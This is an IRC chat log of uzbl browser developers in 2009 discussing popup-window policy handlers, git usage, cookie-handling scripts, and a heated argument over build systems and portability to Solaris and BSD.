00:39 < dxdx> but those are too few, and i don't know if it would work with two webkits in the same app
00:40 < eekee> I was thinking - although I don't really know uzbl architecture: if a page requests to open a new window pass it to a script with an indication of whether the request was in response to user action, and let the script either start a new uzbl or signal the existing process to open a new window
00:43 < bct> what websites have windows that interact with each other? i didn't know that was possible
00:44 < bct> except for named targets i suppose, but i think that can be handled with separate instances
00:44 < dxdx> bct: in javascript window.open() returns some kind of identifier
00:45 < eekee> it's not all that common, but legend of the green dragon sites have a little such interaction
00:45 < bct> aaah, hmm.
00:45 < dxdx> i see these everyday, on view lyrics: http://www.metal-archives.com/release.php?id=154648
00:46 < dxdx> popup = window.open("viewlyrics.php?id="+x, "Lyrics", "width=500,height=500,resizable,scrollbars,top=50");
00:46 < dxdx> it's just that line
00:47 < locks> @peek
00:49 < Morasique> locks: it's "peak"
00:49 < locks> @peak
00:49 < dev_null> locks: obama set a record of 83 people in #uzbl on June 09, 2009 at 03:41 PM CET. You'll need 16 more people to break the peak.
00:49 < locks> peek-a-boo
00:50 < bct> what does "set a record mean"? i.e. was obama the 83rd person to join?
00:50 < bct> just curious.
00:51 < holizz> eekee: I was just thinking that. The handlers' return value can be 0 if it does something and 1 if it does nothing and expects uzbl to open it in the same window.
00:51 < eekee> that's a fair idea
00:53 < dxdx> holizz: when would it return 1?
00:54 < locks> bct: yep
00:55 < dxdx> btw, if you tried that window.open, it sucks. opens a new instance with google, just that
00:56 < dxdx> only one instance, by the way, not two as _blank links do
00:56 < dxdx> (btw, by the way)
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01:02 < holizz> dxdx: I mean the script's return value.
01:06 < dxdx> holizz: yeah, and when would the script return 1?
01:06 < dxdx> more precisely, "when would it do nothing"
01:09 < holizz> I'm not sure I understand the question. It would return 1 shortly after it was executed. I'm thinking "set new_window_handler = spawn false" would be a good use-case to disable new windows.
01:11 < dxdx> oh, i thought there were handler scripts that would sometimes return 0 and sometimes return 1
01:11 < holizz> Oh sure. Like if you wanted something more complicated, which only blocked popups on some sites.
01:12 < dxdx> hm..
01:12 < dxdx> but decent popup blocking is based on behavior, not blacklists
01:12 < holizz> I've just realised that opening a new window by a normal click would hit two different signals, and would require splitting the policy handler from the opening the new window handler.
01:13 < holizz> Good point.
01:13 < holizz> But how do we do that?
01:13 < dxdx> ask midori?
01:13 < eekee> I like to keep a small whitelist for popups
01:14 < dxdx> "deny everything, allow whitelist" is ok (if you do want to write your own whitelist), but "allow everything, deny blacklist" is weak
01:15 < eekee> aye
01:15 < holizz> Our policy would be: always ask the handler.
01:16 < dxdx> but the handler should be able to know the actual source (for example, only javascript click events are allowed to open windows)
01:16 < dxdx> hmm, maybe as a gtk widget we may be able to store the last received event
01:17 < holizz> We may be able to work out the source of the event from webkit, and then pass that information on to the handler.
01:17 < dxdx> yup
01:19 < scj> a new window request without uzbl.state.selected_uri set is called without hovering over a link with the mouse, ie from js
01:20 < scj> actually, I'm wrong
01:20 < scj> selected_uri isn't unset when you leave a link, it will be the last one hovered
01:20 < dxdx> "new-window-policy-decision-requested" signal
01:21 < holizz> Now if I'm reading this correctly, using run_command returns the return value of the script, but using run_handler does not.
01:22 < holizz> Is there a reason behind this? Or can I just go and get run_handler returning that value?
01:23 < dxdx> i don't know, grep?
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01:23 < holizz> I can't see anything in the source.
01:27 < dxdx> then go ahead
01:29 < eekee> btw I discovered gnu grep was extremely slow, today. This is abotu 900 times quicker: sed -n /pattern/p
01:31 < dxdx> !
01:32 < eekee> 4.5 minutes vs 0.3 seconds with a fixed pattern (no special chars) on a 470k line file
01:33 < eekee> awk did it in 2.6 seconds & plan9port grep 0.15s
01:34 < dxdx> eekee: http://rechan.eu.org/misc/anoncoreutils/ABOUT.HTM
01:34 < dxdx> eekee: read that and you
01:34 < dxdx> oops
01:35 < dxdx> and you'll stop wanting to replace coreutils
01:35 < dxdx> oh, it doesn't mention "GNU bloat"
01:36 < eekee> kinda interesting
01:37 < mxey> Its coding style has no style at all.
01:37 < eekee> well it has a rather Gnu style - aka "use the barest minimum indent you can possibly get away with." Not nice to read lol
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01:38 < mxey> GNU Indent is just sick.
01:38 < mxey> *indentation
01:38 < eekee> it is that
01:38 < mxey> For replacing coreutils, I considered busybox.
01:38 < eekee> well I was thinking of the tool, which I've had issues with.
01:38 < evocallaghan> Gezz, I like what I am looking at about this project
01:39 < eekee> I did too but I'm gettign tired of un*x generally. It should have been replaced by the plan 9 arch (or another) a long time ago, but plan 9 was slow in coming
01:39 < dxdx> apart from the vaporware, this summarizes the rest http://dis.4chan.org/read/prog/1210044469/35
01:40 < eekee> haha
01:42 < eekee> roflcopter, those guys make ulrch drepper & tuomo valkonen look like a breath of fresh air
01:42 < dxdx> (!)
01:44  * eekee wipes anonix off his list. has busybox and plan9port and embedutils to play with anyway
01:48  * dxdx considers how could have "anonymous development" worked with github
01:48 < dxdx> ..no, it wouldn't be anonymous. seriously, that was a joke
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01:58 < holizz> So if I use false, new windows open... and if I use true, new windows don't open... but either way run_command outputs "-- result: true".
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02:25 < holizz> Oh yes.
02:25 < dxdx> holizz: ?
02:26 < holizz> set new_window_handler = sh 'echo ALLOW'
02:27 < holizz> Possibly new_window_handler is a misnomer, as it doesn't actually handle opening new windows, just the policy.
02:27 < holizz> new_window_policy_handler seems a little verbose.
02:27 < scj> probably should just be a policy handler, with the argument new_window
02:28 < dxdx> oh, i just found that webkit includes builtin popup blocking
02:28 < dxdx> tried with this http://www.popupcheck.com/freescan/popup/popup_test_standard.asp (lol ASP)
02:29 < dxdx> and it passed all but the last three tests, which failed because google.com was opened instead (uzbl bug)
02:29 < dxdx> but at least builtin blocking works
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02:45 < holizz> policy_handler: http://github.com/holizz/uzbl/commit/f9f5cb6059e810bf047830b87604625125be97f6
02:48 < dxdx> holizz: how do i checkout one of your branches to my local repo?
02:50 < holizz> git add remote holizz git://github.com/holizz/uzbl.git
02:50 < holizz> (do that once)
02:50 < holizz> Then each time, run: "git fetch holizz" to get my latest changes.
02:51 < holizz> And then "git checkout holizz/experimental" to switch to my experimental branch.
02:52 < holizz> Also, this gem is seventeen different kinds of epic win: http://github.com/defunkt/github-gem/tree/master
02:53 < holizz> You can do things like "github network commits" to show what commits exist that you haven't merged into your tree yet. I use that to see what everybody else in the network is up to.
02:53 < dxdx> !!!!
02:53 < dxdx> awesome
02:54 < holizz> Just when you thought git and GitHub were awesome enough, they go and do something like this.
03:06 < dxdx> the AUR package depends on "ruby-json_pure", this is going to hurt
03:06 < holizz> I just gave up on AUR and installed it with rubygems.
03:08 < holizz> gem install ruby-json_pure; gem install defunkt-github -s http://gems.github.com
03:08 < holizz> I think a lot of the Ruby libs in AUR are just the gems anyway, which I think is stupid.
03:12 < eekee> I've heard rubygems is pretty bad for automated package management
03:19 < holizz> It's not the best package manager.
03:19 < holizz> But it's alright if you just want to install a load of Ruby libraries in a hurry.
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03:37 < bct> holizz, you keep fixing the things that i planned to work on >:(
03:37 < bct> :P
03:37 < holizz> Ooops. Sorry.
03:38 < holizz> Tell me now what you want to work on, and I'll leave it alone.
03:38 < bct> heh, i don't know
03:39 < bct> i'm looking through the bug tracker now...
03:39 < holizz> The bug tracker doesn't have enough bugs.
03:40 < holizz> I tend to keep my own list of bugs, and then either fix them or put them on the tracker if they're too hard.
03:42 < evocallaghan> Has anyone tried to build on Solaris here?
03:42 < evocallaghan> Seems you have a static Makefile
03:42 < evocallaghan> blows up on non-Linux platforms I guess :( !
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03:43 < holizz> What doesn't work with it?
03:45 < evocallaghan> cc: Warning: illegal option -d=c99
03:45 < evocallaghan> cc: Warning: illegal option -db
03:45 < evocallaghan> cc: illegal option -Wall
03:45 < evocallaghan> gmake: *** [uzbl] Error 1
03:45 < evocallaghan> Its assuming that `cc` is gcc
03:45 < evocallaghan> Let me prepare a quick and dirty patch for that
03:46 < evocallaghan> Oh, Makefile-new-test looks far better
03:47 < evocallaghan> You really need a configure
03:47 < evocallaghan> Have you guys looked into Jam Makefiles?
03:48 < holizz> I have no idea.
03:50 < evocallaghan> Take a look at http://www.perforce.com/jam/jam.html
03:50 < evocallaghan> May save you a heap of time !
03:51 < holizz> I'm there already.
03:51 < evocallaghan> Would be interesting to have this as the default browser in our distro (AuroraUX)
03:51 < evocallaghan> :)
03:51 < Morasique> "Because Jam understands C/C++ dependencies, there is no need to declare header or object files. ". can't make do that?
03:52 < urnthr> holizz, yeah, #uzbl is my bug tracker :P
03:52 < evocallaghan> No
03:52 < evocallaghan> http://freetype.sourceforge.net/jam/index.html
03:52 < evocallaghan> Although your project is nice and small so it should be easy to handle
03:53 < evocallaghan> I would be willing to make sure it works on Solaris :)
03:53 < evocallaghan> Working on llvm/clang this week however. Could build uzbl with it next week though :)
03:54 < urnthr> so jam is yet another make clone?
03:54 < urnthr> like scons or whatchamacallit
03:54 < evocallaghan> hehe, I know
03:54 < evocallaghan> scons is python isnt it :/
03:55 < evocallaghan> although I have not had too many problems with scons to be fair
03:56 < urnthr> Dieterbe seemed to be against autotools
03:56 < evocallaghan> Any way, Jam would atleast be quite neat to have instead of your hard coded Makefile which is not really a good idea imho
03:56 < urnthr> dunno..
03:56  * evocallaghan is not really a big fan of autotools
03:57  * evocallaghan has done a *lot* of packaging before so has a excuse to talk about such things hehe
03:57 < urnthr> so does Jam use autotools to install? ;)
03:58 < urnthr> i guess it wouldn't be hard to bootstrap something like that tho
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03:59 < evocallaghan> I have to go to bed now
03:59 < evocallaghan> dear I say, sleep()
04:01 < uranther> http://www.maps.org/news-letters/v18n1/v18n1-MAPS_24.pdf
04:01 < uranther> that's tight
04:04 < holizz> I read about using drugs to improve programming performance before. I can't remember which book though.
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04:09 < uranther> i tend to understand everything when i'm high on weed
04:09 < uranther> so i've yet to try programming high before
04:09 < uranther> or study anything
04:10 < holizz> Jam certainly looks preferable to autotools.
04:11 < holizz> Jam has the advantage of not requiring Python, of course.
04:12 < evocallaghan> wtf
04:13 < uranther> it's written in C :>
04:13 < uranther> i approve
04:13 < dxdx> so Jam == drugs?
04:13 < evocallaghan> I bet autotools was made by people on drugs
04:13 < evocallaghan> dxdx: No Jam you put on toast
04:14 < dxdx> if you ask me (nobody did), i'd write a Makefile for each platform, or force packagers to patch that Makefile
04:14 < holizz> I'm sure autotools was the best tool for the job in its day. Which I imagine was in an era where punchcards roamed the earth.
04:14 < dxdx> lol
04:14 < evocallaghan> Your nuts and no one asked you correct <g>
04:15 < evocallaghan> Packagers don't want to write *your* project
04:15 < dxdx> packagers are lazy
04:16 < evocallaghan> If you can't be bothered to make your product supportable and then why should we use it? Its like going into a shop and saying "I like a blender please" you bring it home and find out you need to buy the motor extra for your 230V outlet
04:16 < evocallaghan> "Sorry, wind your own coil for each country"
04:16 < bct> sounds like the unix way to me :)
04:17 < bct> why have a motor for your blender and for your vacuum cleaner when one will do?
04:17  * dxdx has just arrived yesterday and didn't even get a single patch committed [so my opinion doesn't really matter]
04:18 < uranther> ):
04:19 < evocallaghan> Don't be silly. Do it properly like normal people
04:20  * evocallaghan may have a quick moment to wipe one up later on but not now
04:20 < dxdx> well, for a project that is just one month old, a handwritten makefile isn't that bad
04:20 < holizz> While I'd love to stay up all night (it's 3.20am!) and discuss the finer points of different make systems, I should go to bed.
04:21 < evocallaghan> Currently porting a kernel to MIPS, fixing llvm/clang and working out problems with X all at the same time so I am limited time at the moment
04:21 < dxdx> !
04:21 < evocallaghan> Ah your in the UK (or near by too)?
04:21 < holizz> Yeah, the UK.
04:21 < evocallaghan> Yep, I'm going to bed soon too
04:21 < evocallaghan> Yea, I'm London based at the moment
04:21 < dxdx> holizz: one last thing, what do you think about cmake?
04:21 < uranther> evocallaghan, wth?
04:22 < holizz> I'm in Sheffield.
04:22 < evocallaghan> uranther:  wth, with ?
04:22 < evocallaghan> what?
04:22 < holizz> dxdx: I haven't really used it much. Is it awesome?
04:22 < uranther> evocallaghan, you have your hands full
04:22 < uranther> also, MIPS?
04:23 < uranther> porting to N64?
04:23 < evocallaghan> google it
04:23 < evocallaghan> No
04:23 < evocallaghan> lol
04:23 < uranther> huhu
04:23 < evocallaghan> newer netbooks are MIPS
04:23 < uranther> that would be badass
04:23 < uranther> i thought most use Atom?
04:23 < evocallaghan> Your be seeing a lot more due to Chinna making them now
04:23 < dxdx> holizz: not really used as a developer, but from the user/packager side it seems so
04:24 < evocallaghan> cmake is crap, it requires too much to get up *properly*
04:24 < evocallaghan> and if you don't set it up properly then its just a mess
04:24 < evocallaghan> else it can be very good
04:24 < evocallaghan> For a project this size, please look more into Jam, this is why I only gave that option
04:25 < holizz> Waaah. Definately time for bed now.
04:25 < holizz> The sky's starting to get brighter.
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04:26 < evocallaghan> lol
04:26 < dxdx> the sky getting brighter... at 3:20am?
04:26 < evocallaghan> Night folks, thats me too
04:26  * evocallaghan &
04:26 < bct> hmm, why is the get command commented out?
04:27 < evocallaghan> Oh and Digg Digg Digg us :) http://digg.com/linux_unix/OpenSolaris_with_Ada
04:27  * evocallaghan ^Zzzzzz :)
04:27 < bct> ah, because the get_var function doesn't exist i guess. how curious.
04:29 < uranther> bct, maybe you can help explain the big TODO comment block in the socket function? lol
04:29 < uranther> i tried it out and it seems obsolete
04:31 < uranther> auroraux seems like an interesting project
04:37 < bct> no idea, sorry :)
04:40 < uranther> check out my TODO near the PTR macro definition
04:41 < uranther> i had everything changed up til the PTR macro and then i didn't know what to do :P
04:50 < bct> uranther, was it you who was looking into the useragent weirdness yesterday?
04:50 < uranther> yeah :( i never figured it out
04:50 < uranther> some crazy lexical scanner thing
04:51 < uranther> it sees a number-letter combo like 1b
04:51 < uranther> and throws G_TOKEN_ERROR
04:51 < uranther> my *guess* is it thinks it's some other token, like an IDENTIFIER, and it isn't, so it errors
05:01 < bct> hah, damn. i just got figured that out :)
05:01 < bct> should have been paying attention to irc rather than gdb
05:03 < uranther> lol
05:03 < uranther> yeah i'm practically a gdb master now working on uzbl bugs :P
05:03 < uranther> i had never used it before
05:04 < bct> unfortunately my laptop runs out of memory before it can finish compiling webkit-gtk with debugging symbols :(
05:06 < uranther> wth..
05:09 < bct> it's very odd. i think it's linking the final .so that fails too
05:10 < uranther> what .so?
05:10 < uranther> oh for webkit
05:12 < bct> yeah
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05:22 < bct> g_scanner does some things that are a bit silly for uzbl's use cases
05:23 < piroko> Has anyone tried installing this thing on openbsd?
05:23 < uranther> i'm also learning glib while fixing various uzbl bugs..
05:23 < uranther> piroko, i thought i saw a patch to allow for that
05:23 < bct> there's no reason i can think of for it to parse "01" to the integer 1
05:23 < Morasique> yeah, there was a makefile patch a few weeks ago for bsd
05:24 < uranther> yea..
05:25 < uranther> it's kind of future-proof though, if we want to add more shit on
05:25 < piroko> Hmm
05:26 < uranther> oh, sry piroko not in response to you ;)
05:26 < piroko> Oh ok
05:26 < piroko> :)
05:26 < uranther> err Morasique i mean
05:26 < Morasique> uranther: you just made that whole conversation very confusing :)
05:26 < uranther> i know :(
05:28 < bct> hehe :). sadly i don't think my c-fu is good enough to whip up a string interpolator
05:30 < uranther> string handling in C blows
05:31 < Morasique> indeed :(
05:31 < piroko> Hmm... I get /usr/include/netinet/tcp.h:50: error: syntax error before "u_int"
05:31 < piroko> Which leads me to believe that sys/types.h is not being #included
05:32 < piroko> But when I add it to uzbl.c, it still does not work :/
05:32 < uranther> looks like something that should be included by another header/library
05:33 < piroko> Well it's defined in /usr/include/sys/types.h
05:33 < uranther> yea
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05:44  * piroko scratches his head
05:47 < uranther> :|
05:53 < bct> wow, gscanner.c has some wonky formatting
05:56 < uranther> wow goin to the source baby
06:01 < bct> welll...
06:01 < bct> i have a \"solution\"
06:01 < Morasique> it worries me that you just escaped quotes on irc
06:02 < bct> that's like double-scare quotes
06:02 < uranther> so i'm curious, is there any OS (besides GNU/Linux) that uses the Linux kernel?
06:03 < bct> we could tell gscanner to parse strings and then do:
06:03 < uranther> http://www.osnews.com/story/21636/SkyOS_Experiments_with_Linux_NetBSD_Kernels_as_Base <-- got my mind jogging
06:03 < bct> set useragent = blah blah blah "Firefox/3.5b4"
06:04 < bct> it's kind of ugly
06:04 < bct> and it breaks the status bar right now
06:05 < scp1> 'night all.
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06:06 < piroko> Grrrr stupid error!
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06:08 < piroko> Whoops
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06:37 < bct> possible solution posted to the bug: http://www.uzbl.org/bugs/index.php?do=details&task_id=38
06:37 < bct> (well, it is a solution. it's just not maybe the best solution)
06:41 < Morasique> bct: that looks good to me
06:43 < piroko> Holy crap
06:43 < piroko> I'm in the uzbl history
06:45 < piroko> Also, I got it to build. Had to build without -std=c99 and _POSIX_SOURCE
06:47 < Morasique> i don't think i've ever hated something as much as i hate git
06:48 < uranther> agreed
06:49 < Morasique> i think i'm going to fallback to my usual method of updating: erase my whole uzbl folder and clone again
06:49 < uranther> haha yeah
06:49 < uranther> i had to do that
06:49 < uranther> fucked my shit up hardcore a few times
06:50 < Morasique> it started giving me "fatal: Cannot do hard reset with paths."
06:50 < uranther> see the /topic? i don't know how to do that
06:50 < Morasique> bullshit it can't, i watched it do exactly that yesterday
06:51 < uranther> anyways
06:51 < uranther> hittin the sack
06:51 < uranther> peace
06:52 < piroko> Hahahaha
06:52 < piroko> Give it time
06:52 < piroko> git reset --hard takes a commit, not a path
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09:18 < Dieterbe> morning
09:19 < Morasique> generally Dieterbe's "morning" is my cue to go to sleep, but i'm not particularly tired
09:20 < Zaba> Dieterbe, the last commit id can be fetched with git log -1 --pretty=format:'%H', no need for ugly head/sed hacks in the CFLAGS.
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09:32 < Dieterbe> lol Morasique 
09:46 < tha> haha
09:48 < Morasique> yeah, i'm tired now. bbl. i expect tons of cool new uzbl patches when i wake up
09:51 < Dieterbe> Morasique: the more you suprise me with patches when *i* wake up, the more patches *you* will see when you wake up :P
09:52 < Dieterbe> nothing comes for free :P
09:52 < Morasique> i should really learn git. i can't even update without problems; who knows what would happened if i tried committing stuff
09:58 < Zaba> I wonder what you do to update so it causes problems...
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13:23 < Zaba> @peak
13:23 < dev_null> Zaba: obama set a record of 83 people in #uzbl on June 09, 2009 at 03:41 PM CET. You'll need 9 more people to break the peak.
13:29 < holizz> /join #uzbl
13:30 < holizz> You mean I can't join twice?!
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13:34 < Dieterbe> holizz: d'uh :P
13:35 < Dieterbe> freenode only accepts you joining twice if you change your name to a president
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13:35 < Dieterbe> lol :)
13:36 < holizz> Have you scrolled up and read the discussion about Jam yet?
13:36 < holizz> (The make replacement, not the preserve).
13:37 < Dieterbe> no i didn't
13:38 < holizz> It was about ... 2am UTC.
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13:40 < Dieterbe> i'm quite busy at work right now
13:41 < holizz> Okay. Short story shorter: Makefile doesn't work on Solaris, Jam was suggested as an alternative that isn't autotools.
13:42 < Dieterbe> actually someone already proposed cmake and even supplied the relevant cmake config files for it
13:43 < haste> what about waf?
13:44 < holizz> Oh handy.
13:44 < Dieterbe> never heard of that (neither of jam)
13:45 < haste> http://code.google.com/p/waf/
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13:49 < Dieterbe> i added both to my todo list. i'll check them out
13:51 < piroko> Blargh. I have my cookie_handler set up to use the python script, but google says cookies are turned off
13:52 < holizz> Which Google service is this?
13:52 < piroko> google reader
13:53 < holizz> Hmm. That one usually just logs me in. Are you sure it's all configured correctly?
13:55 < piroko> Yeah. No errors from uzbl either. I'm on openbsd though. That may change things
13:56 < holizz> Try running it with --verbose, so you can see what response it gets from cookies.py.
13:59 < piroko> It's getting all true returns from it
13:59 < piroko> As a side note, loading pages takes a really long time. Seems to be due to all the calls to the scripts
13:59 < holizz> I was looking at that code last night - I'm not sure the "true" means much.
14:00 < piroko> Ah. Well it's being called with the right arguments anyway
14:00 < holizz> Is is returning some cookies on the "Stdout: " line?
14:01 < holizz> We know about the long time to load pages. I think it should be solved by violating uzbl's core philosophy, and Dieterbe disagrees ;).
14:02 < haste> just throw a proxy between it :D ?
14:02 < haste> like the ruby one
14:03 < haste> mousehole or whatever it's called
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14:04 < Dieterbe> holizz: i'm okay with violating the core idea, but only if all else fails. only as last resort
14:05 < Dieterbe> there are enough means to fix the situation (for example still use external script, but keep the script alive and do multiple requests to the same process)
14:08 < holizz> I still think we can have the _option_ to use libsoup's CookieJarText without violating the philosophy too much.
14:09 < Zaba> oh yeah, now let's start treating the philosophy as a law and find sneaky ways to violate-but-not-really.
14:10 < Zaba> no really, that's not how you follow a philosophy
14:10 < Dieterbe> Zaba: what are you talking about? can you just say what you mean?
14:11 < Zaba> I was referring to holizz's last line, especially "without violating the philosophy too much"
14:15 < piroko> holizz: Yes, the cookies are going to stdout
14:15 < piroko> spawned: '/home/jeremy/uzbl/scripts/cookies.py' './uzbl/config' '1794' '23068701' '/tmp/uzbl_fifo_23068701' '' 'https://www.google.com/accounts/ServiceLogin?hl=en&nui=1&service=reader&continue=http%3A%2F%2Fwww.google.com%2Freader%2F' 'Google Reader' 'GET' 'www.google.com' '/accounts/google_transparent.gif' -- result: true
14:15 < piroko> Stdout: PREF=ID=88e3cc1b79cd7ffd:U=acc117e57ad7eb94:TM=1244782800:LM=1244783047:S=PrHL51FZEb84IrxJ; NID=23=L4rXGWnK54YtUrrmQ3Avk__iiIRX-wQ9fQSeP1vSOpYfNsn4TT1dFqdCSnEIMYasdL0j9sfiFrwg4WWng3S6fVZMMXXjtOYo20H8wruPM8Sdmn2n7gQgJMEXm9KyD2Pc
14:15 < Zaba> hm, weird
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14:16 < Zaba> scrolling a large image sideways just did something so I couldn't scroll it in the opposite direction anymore.
14:17 < uranther> what ho
14:17 < holizz> Facebook also says "you must enable cookies" when you log in, so they're obviously doing things differently to everybody else. We're probably just missing a small bit of functionality that affects different sites differently.
14:18 < evocallaghan> Afternoon
14:19 < holizz> Morning. I only woke up 2 hours ago.
14:19 < Zaba> ...this page has so many resourced, webinspector lags.
14:21 < evocallaghan> lol
14:21 < evocallaghan> you did better then me <g>
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14:27 < holizz> There. Sent my reply to Opera. Applying for work is so time-consuming.
14:28 < scp1> Hi guys
14:28 < uranther> holizz, that's cool :) opera is the shiznit
14:28 < uranther> if i were a software engineer, i'd like to work for opera
14:28 < scp1> What do you think about this cookiescript; http://pastie.org/509581 (using sqlite)
14:29 < holizz> Very nice.
14:30 < holizz> Now all we need is a migration script for people migrating from Firefox to uzbl.
14:30 < uranther> that'd be cool
14:31 < uranther> so, bookmarks and?
14:31 < uranther> we don't have a password manager yet do we :P
14:31 < scp1> How are Fx's bookmarks stored? Also sqlite?
14:31 < holizz> I think so. It's all integrated in the new Places thing.
14:31 < mxey> You cannot migrate your Firefox stuff to uzbl, because uzbl does not have all these stores. It all depends on what kinds of scripts you are using with it..
14:32 < mxey> Converters should be specific to scripts, not a big one for only one selection of scripts.
14:33 < holizz> We need to make uzblfox. It can be based on tabbed_uzbl.py, and attempts to imitate Firefox as closely as possible.
14:33  * uranther pukes
14:33 < holizz> If it doesn't use up enough memory we can add a fork bomb.
14:33 < scp1> haha, was just gonna say that
14:34 < uranther> lol..
14:36 < Dieterbe> :P
14:37 < roxazer> Dieterbe: hi, you know those errors i had? i get this at the beginning maby its for help; http://pastebin.com/m28b49c03
14:38 < roxazer> i have fontconfig installed
14:38 < Dieterbe> no
14:39 < roxazer> what does "echo $PKG_CONFIG_PATH" say?
14:40 < roxazer> what does your*
14:47 < bct> holizz, is facebook not working with cookies.py?
14:47 < bct> or does it just display an annoying warning?
14:49 < bct> i think the only interesting thing about facebook's cookies is that login.facebook.com sets cookies for facebook.com
14:53 < holizz> bct: Facebook, after you enter your login details, says "you must enable cookies", and then doesn't let you sign in.
14:56 < bct> any idea what gets stored for the domain in cookies.txt?
14:57 < bct> my cookie handler works on facebook, and the domain for everything they set is facebook.com
14:57 < holizz> Checking now, it seems cookies.txt got deleted again. It's for this reason that I set my cookies.py to treat $XDG_DATA_HOME/uzbl as a git repo...
14:58 < KlavKalashj> has anyone tried scp1's cookie script? I can't get it to work
15:01 < KlavKalashj> nobody?
15:03 < holizz> Nope. Currently debugging my own cookies problems.
15:06 < KlavKalashj> okok
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16:19 < roxazer> Dieterbe: i fixed it..
16:20 < evocallaghan> holizz:Have you tried building with Sun Studio or anything else apart from GCC yet?
16:21 < evocallaghan> I'll give it a go in a min with clang/llvm
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16:22 < evocallaghan> I'll prob end up doing you guys a Jam file as well while I am at it :p
16:22 < uranther> you're too much, evocallaghan
16:23 < evocallaghan> lol, what?
16:23 < uranther> so generous
16:23 < Zaba> evocallaghan, uzbl built fine with clang
16:24 < Zaba> evocallaghan, why on earth a bloody jamfile? at least make(1) is on every OS
16:24 < evocallaghan> Zaba:Ah cool, did you change any flags?
16:24 < Zaba> mxey, did you change any cflags when building uzbl with clang?
16:24 < Zaba> (But since clang(1) claims to be "GCC-compatible," my guess is "no")
16:24 < evocallaghan> a different version of make, however its a valid point although your makefile does not work on any other platform ;)
16:25 < Zaba> evocallaghan, it can be fixed to work on other platforms
16:25 < Zaba> evocallaghan, and on other platforms gmake(1) is very common as well
16:25 < evocallaghan> I think the static Makefile has to go in any case.
16:25 < Zaba> No.
16:25 < evocallaghan> No. is not a very good reason.
16:25 < Zaba> You never had a reason either.
16:26 < Zaba> Look, to me it's either a static makefile or blood.
16:26 < evocallaghan> Your makefile currently does not work on other platforms <-- better reason then "No." and static Makefiles is just silly. This is not 1989
16:26 < evocallaghan> <g>
16:27 < Zaba> uhm.
16:27  * evocallaghan takes a sip of red wine <g>
16:27 < Zaba> what do you suggest instead of a static makefile?
16:28 < Zaba> static makefile is not "just silly."  Hint: it works.
16:29 < evocallaghan> A.) A Jam makefile which would be quick and easy for a project like this, a few lines. Maybe could have already done it instead of this talk.
16:29 < evocallaghan> B.) Autotools, configure, guess the system setup the Makefile or what not
16:29 < evocallaghan> C.) cmake, a bit of a overkill for you guys
16:29 < evocallaghan> D.) scons, overkill, brings in python into the picture.
16:29 < evocallaghan> But it does *not* work.
16:30 < Zaba> Oh god.
16:30 < Zaba> Oh why yes, it does work.
16:30 < evocallaghan> It may work on Linux box 'A' however the rest of the world does not use Linux for a start
16:30 < Zaba> It's not 1990, so autotools is just silly.
16:30 < Zaba> evocallaghan, you'll find gmake on almost every *BSD system
16:31 < evocallaghan> That's why I said Jam and not autotools
16:31 < evocallaghan> Your makefile does not even check if the extern libs exist for a start
16:31 < Zaba> a package manager does that
16:31 < Zaba> big surprise
16:31 < Zaba> it's not 1990
16:31 < evocallaghan> so if anything is missing your build blows up
16:31 < Zaba> and what should it do?
16:31 < Zaba> collapse into a black hole?
16:32 < scj> since when isn't it the 90's?
16:32 < evocallaghan> OK, if you say so. I don't have time to argue. Do you want the patches or what or just wast both our time?
16:32 < Zaba> scj, since 1991
16:32 < Zaba> evocallaghan, look: If there is a package, package manager resolves deps.  If there is no package, user should be smart enough to do that.
16:33 < Zaba> evocallaghan, so checking for external libs in the makefile is duplicating work needlessly.  That's what, for instance, autoconf does all the time.
16:33 < evocallaghan> You can commit what you like, however I am not going to sit here and explain why a badly written Makefile, which is static no less is a bad idea. But whatever.
16:33 < Zaba> it's not really a bad idea, you see
16:34 < evocallaghan> Dude, you at your current Makefile, try running it on a fresh install of something other then your Fav Linux distro and see what happens
16:34 < Zaba> I know what happens
16:34 < evocallaghan> OK, << EOF. I need to get back to work sorry
16:34  * evocallaghan &
16:34 < mxey> < Zaba> mxey, did you change any cflags when building uzbl with clang? <- no
16:34 < mxey> Zaba: Just make CC=clang
16:34 < Zaba> mxey, I see
16:35 < mxey> What shit did evocallaghan write?
16:35 < mxey> When a lib is missing, you get compiler errors that are quite obvious.
16:36 < mxey> But I agree with Zaba anyway on this subject, no need to repeat it.
16:36 < Zaba> "static makefile is a bad idea."  Perhaps, when written by a clueless moron, for whom even autoconf is easier.
16:37 < mxey> For a project with one sourcefile per binary, a static Makefile is working just fine.
16:38 < Zaba> yes, the uzbl makefile will break with bsdmake, due to all that $( ) fanciness.  That's why BSDs have a gmake package.
16:38 < Zaba> Just because different versions of make exist it doesn't mean you have to complicate everything to the top.  Or eat jam.
16:39 < mxey> gmake will be installed on most BSD systems anyway, because so much stuff is using it. But cmake and the others are not.
16:39 < Zaba> That's what I said, too.
16:40 < Zaba> mxey, complicated build systems seem to be a big hype these days.
16:40 < mxey> Complicated stuff in general.
16:41 < Zaba> Like "there are so many different platforms omg you have to generate every build file that will generate another, this time native, build file for some tool, cause that's portable"
16:42 < Zaba> DCSS, for instance, provides makefiles for unix, windows and mac os, all static, with dependency info separately generated
16:42 < Zaba> in case of uzbl, there are no dependencies to generate
16:42  * Zaba fails to see the problem and was dismissively not told about it, so stops caring.
16:43 < mxey> DCSS?
16:43 < Zaba> dungeon crawl stone soup
16:43 < KlavKalashj> I don't really understand what you are talking about, but why change the current makefile?
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16:43 < KlavKalashj> Has been working very fine for everyone I know
16:43 < Zaba> actually, most of roguelikes do something similar, and their build systems can be considered legacy.  Their code is plain old, though.
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16:44 < bct> KlavKalashj, it didn't work for evocallaghan
16:44 < dxdx> KlavKalashj: apparently it does not work in solaris, so we must use some make replacement that nobody heard about
16:44 < bct> on Solaris iirc
16:44 < Zaba> so he got pissed
16:44 < Zaba> should've tried gnu make instead
16:44 < Zaba> stupid people who get pissed and want to change everything for everyone instead of just fixing it for themselves, hm?
16:44 < dxdx> one of his main complaints was about gcc, actually
16:45 < Zaba> clang built it fine so apparently sun's compilers fail
16:46 < dxdx> i believe we should fix Makefile-new-test, and then tell distros to apply patches if it doesn't work for them
16:46 < Zaba> what *is* makefile-new-test?
16:46 < dxdx> the same makefile written in a nice way
16:47 < Zaba> and why does it use := everywhere
16:47 < dxdx> not sure, i didn't write it
16:48 < Zaba> := just expands the argument before assigning it, while normally it's only expanded when the variable is references
16:48 < Zaba> referenced*
16:48 < Zaba> dxdx, and does it work?
16:49 < dxdx> Zaba: didn't try, but from just reading it, it missed a "pkg-config" (there was something like $( --libs ...))
16:50 < Zaba> it does $(shell --libs) yeah
16:50 < Zaba> somehow
16:50 < Zaba> oh well
